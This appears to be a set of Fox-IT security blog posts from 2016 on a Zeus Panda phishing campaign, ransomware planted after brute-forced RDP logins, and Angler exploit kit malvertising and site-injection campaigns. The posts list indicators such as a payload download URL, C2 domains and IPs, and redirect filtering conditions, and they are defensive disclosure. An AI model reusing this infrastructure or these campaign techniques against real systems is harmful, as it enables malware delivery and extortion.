The subject of the e-mail contain the company name, with a semi-random invoice related subject. Some examples:

  • Company : De nota is nog niet betaald
  • Company – De nota is onbetaald gebleven
  • Company – Uw laatste factuur wacht op betaling

At this point Fox-IT cannot directly link this phishing campaign to the recent LinkedIn database leak.

The e-mail contains a Word document with a Macro.
The name of the document is also based on personal information of the receiver:

  • Company-Firstname-Lastname.doc

Screenshot phishing campagin

The content of the Word document appears to be scrambled, this is an attempt to trick the user into running the embedded Macro, in order to view the document.

The Macro retrieves a binary from the following (likely compromised) website:

  • ledpronto.com/app/office.bin (sha256: c1e21a06a1fa1de2998392668b6910ca2be0d5d9ecc39bd3e3a2a3ae7623400d)

The Fox-IT InTELL team has identified the retrieved malware as the Zeus Panda banking malware. Zeus Panda, in this case, always connects to the following domain & IP using SSL:

  • skorianial.com / 107.171.187.182

Zeus Panda is a type of banking malware based on Zeus source code, more information can be found here: https://www.proofpoint.com/us/threat-insight/post/panda-banker-new-banking-trojan-hits-the-market

The following SSL certificate is used by the Panda Zeus Command and Control server:

If you’ve opened the Word attachment and enabled the Macro, consider scanning your system with various anti-virus solutions.

Ransomware deployments after brute force RDP attack

Fox-IT has encountered various ways in which ransomware is being spread and activated. Many infections happen by sending spam e-mails and luring the receiver in opening the infected attachment. Another method is impersonating a well-known company in a spam e-mail stating an invoice or track&trace information is ready for download. By following the link provided in the e-mail, the receiver can download the file which contains the malware from a convincing looking website. Distributing ransomware through malvertising, an exploit kit being served on an advertisement network, is also a common way for criminals to infect systems.

In the past few months, Fox-IT’s incident response team, FoxCERT, was involved in several investigations where a different technique surfaced: activating ransomware from a compromised remote desktop server.

Getting access

Before we get to why this might be lucrative for the criminals, how do they get access in the first place? RDP, or Remote Desktop Protocol, is a propriety protocol developed by Microsoft to provide remote access to a system over the network. This can be the local network, but also the Internet. When a user successfully connects to a system running remote desktop services (formerly known as terminal services) over RDP, the user is presented with a graphical interface similar to that when working on the system itself. This is widely used by system administrators for managing various systems in the organization, by users working with thin clients, or for working remotely. Attackers mostly tend to abuse remote desktop services for lateral movement after getting foothold in the network. In this case however, RDP is their point of entry into the network.

Entries in the log files show the attackers got access to the servers by brute forcing usernames and passwords on remote desktop servers that are accessible from the internet. Day in, day out, failed login attempts are recorded coming from hundreds of unique IP-addresses trying hundreds of unique usernames. Connecting remote desktop servers directly to the internet is not recommended and brute forcing remote desktop services is nothing new. But without the proper controls in place to prevent or at least detect and respond to successful compromises, brute force RDP attacks are still relevant. And now with a ransomware twist as well.

visio_blog
Image 1: Example network with compromised RDP server and attacker deploying ransomware.

The impact

After brute forcing credentials to gain access to a remote desktop server, the attackers can do whatever the user account has permissions to on the server and network. So how could an attacker capitalize on this? Underground markets exist where RDP credentials can be sold for an easy cash-out for the attacker. A more creative attacker could attempt all kinds of privileged escalation techniques to ultimately become domain administrator (if not already), but most of the times this is not even necessary as the compromised user account might have access to all kinds of network shares with sensitive data. For example Personally identifiable information (PII) or Intellectual property (IP) which in its turn can be exfiltrated and sold on underground markets. The compromised user account and system could be added to a botnet, used as proxy server, or used for sending out spam e-mail messages. Plenty of possibilities, including taking the company data hostage by executing ransomware.

Depending on the segmentation and segregation of the network, the impact of ransomware being executed from a workstation in a client LAN might be limited to the network segments and file shares the workstation and affected user account can reach. From a server though, an attacker might be able to find and reach other servers and encrypt more critical company data to increase the impact.

The power lies in the amount of time the attackers can spend on reconnaissance if no proper detection controls are in place. For example, the attackers have time to analyze how and when back-ups are created of critical company data before executing the ransomware. This helps to make sure the back-ups are useless in restoring the encrypted data which in its turn increases the chances of a company actually paying the ransom. In the cases Fox-IT was involved in investigating the breaches, the attackers spend weeks actively exploring the network by scanning and lateral movement. As soon as the ransomware was activated, no fixed ransom was demanded but negotiation by e-mail was required. As the attackers have a lot of knowledge of the compromised network and company, their position in the negotiation is stronger than when infection took place through a drive-by download or infected e-mail attachment. The demanded ransom reflects this and could be significantly higher.

indialocker
Image 2: Example ransomware wallpaper.

Prevention, detection, response

Connecting Remote Desktop Services to the Internet is a risk. Services like that, which are not essential, should be disabled. If remote access is necessary, user accounts with remote access should have hard to guess passwords and preferably a second factor for authentication (2FA) or second step in verification (2SV). To prevent eaves dropping on the remote connection, a strong encryption channel is recommended. Brute force attacks on remote desktop servers and ransomware infections can be prevented. Fox-IT can help to improve your company’s security posture and prevent attacks, for example by an architecture review, security audit or training.

If prevention fails, swift detection will reduce the impact. With verbose logging securely stored and analyzed, accompanied by 24/7 network and end point monitoring an ongoing breach or malware infection will be detected and remediated. The Cyber Threat Management platform can assist in detecting and preventing attacks. And if business continuity and reputation are at stake, our emergency response team is available 24/7.

Wouter Jansen, Senior Forensic IT Expert at Fox-IT

 

 

 

 

Large malvertising campaign hits popular Dutch websites

On Sunday April 10th the Fox-IT Security Operations Center (SOC) started to see an increase of exploit kit related incidents. The incidents originated from a large malvertising campaign hitting the Netherlands. The list of affected websites spreads across most of the popular Dutch websites. In total we’ve now seen at least 288 websites being affected. To give an impression of the impact, the list of affected websites includes:

  • nu.nl
  • marktplaats.nl
  • sbs6.nl
  • rtlnieuws.nl
  • rtlz.nl
  • startpagina.nl
  • buienradar.nl
  • kieskeurig.nl
  • veronicamagazine.nl
  • iculture.nl
  • panorama.nl

Note: Malvertising is caused by malicious content providers in the advertisement ecosystem, and not caused by the affected websites themselves (f.e those listed above).

We’ve been in contact with the affected advertisement provider who responded quickly to the incident and has filtered the listed IOCs in their advertisement platform. They will be tracking down the affected content provider as this issue has not been fully resolved, it has simply been filtered for now. More information on malvertising can be found here: [ Malvertising: Not all Java from java.com is legitimate ].

Details of the exploit kit redirect

The malvertising is occurring through an advertisement platform which is actively used on the above mentioned websites. From the websites, external scripts are loaded which in turn redirect further towards the exploit kit. We’ve observed the Angler Exploit Kit being active on these redirects during this campaign. We have not seen any successful infections at our customer yet.

One of the redirects towards the Angler exploit kit as observed by our monitoring platform:

protact-fox-it-com-angler-malvertising

Indicators of Compromise (IOCs)

The following two domains have been observed to redirect the users from the affected websites towards the exploit kits. Blocking these two domains will aid in stopping the redirects for now:

  • traffic-systems.biz (188.138.69.136)
  • medtronic.pw (188.138.68.191)

Website of security certification provider spreading ransomware

Since Monday the 21st of March the Fox-IT Security Operations Center (SOC) has been observing malicious redirects towards the Angler exploit kit coming from the security certification provider known as the EC-COUNCIL. As of writing this blog article on the Thursday the 24th of March the redirect is still present on the EC-COUNCIL iClass website for CEH certification located at iclass[dot]eccouncil[dot]org. We have reached out and notified the EC-COUNCIL but no corrective action has been taken yet.

Update 25-4-2016: EC-COUNCIL put out a publication regarding the malicious redirect. They’ve cleaned up and removed the malicious redirect, the publication was made on their Facebook page and linked to on their Twitter account.

Exploit kit details: Angler exploit kit

We first observed the redirect on Monday around 3pm GMT but we suspect it might have been there for a longer period of time. The redirect occurs only when specific conditions are met, these conditions are:

  • The visitor has to have Microsoft Internet Explorer as a browser (or at least the user-agent has to represent Internet Explorer)
  • The visitor comes from a search engine like Google or Bing
  • The visitor’s IP address is not blacklisted or belonging to a blocked geolocation. The inject avoids certain countries (possibly tied to a bad ‘ROI’ for the criminals running the ransomware that is being dropped)

Once a visitor meets all these requirements a redirect is embedded at the bottom of the page as seen in this screenshot:
EC-COUNCIL iClass Angler exploit kit injected script

Through this embedding the client is redirected a couple of times to avoid/frustrate/stop manual analysis and some automated systems. Once the user has jumped through all the redirects he/she ends up on the Angler exploit kit landing page from which the browser, flashplayer plugin or silverlight plugin will be exploited. The Angler exploit kit first starts the ‘Bedep’ loader on an exploited victim machine which will download the final payload.

The way the redirect occurs on the EC-COUNCIL website is through PHP code on the webserver which is injecting the redirect into the webpage. A vulnerability in the EC-COUNCIL website is most likely exploited as it runs the very popular WordPress CMS which has been a target through vulnerable plug-ins for years.

Payload details: TeslaCrypt

This specific campaign instance of the Angler exploit kit drops ‘TeslaCrypt’ on the exploited victim’s machine. TeslaCrypt is a piece of ransomware which takes a victim’s files hostage with the use of encryption. Once the victim’s files have been successfully encrypted a ransom note is presented to instruct the victim on ways to recover files:

TeslaCrypt 4.0 ransom notes

TeslaCrypt requires the victim to pay around 1.5 BTC to get their files back; this equals to approximately 622$ at the current conversion rate.

Indicators of Compromise (IOCs)

Bedep C&C servers:

  • 89.163.240.118 / kjnoa9sdi3mrlsdnfi[.]com
  • 85.25.41.95 / moregoodstafsforus[.]com
  • 89.163.241.90 / jimmymorisonguitars[.]com
  • 162.244.32.121 / bookersmartest[.]xyz

TeslaCrypt C&C servers:

  • 50.87.127.96 / mkis[.]org
  • 213.186.33.104 / tradinbow[.]com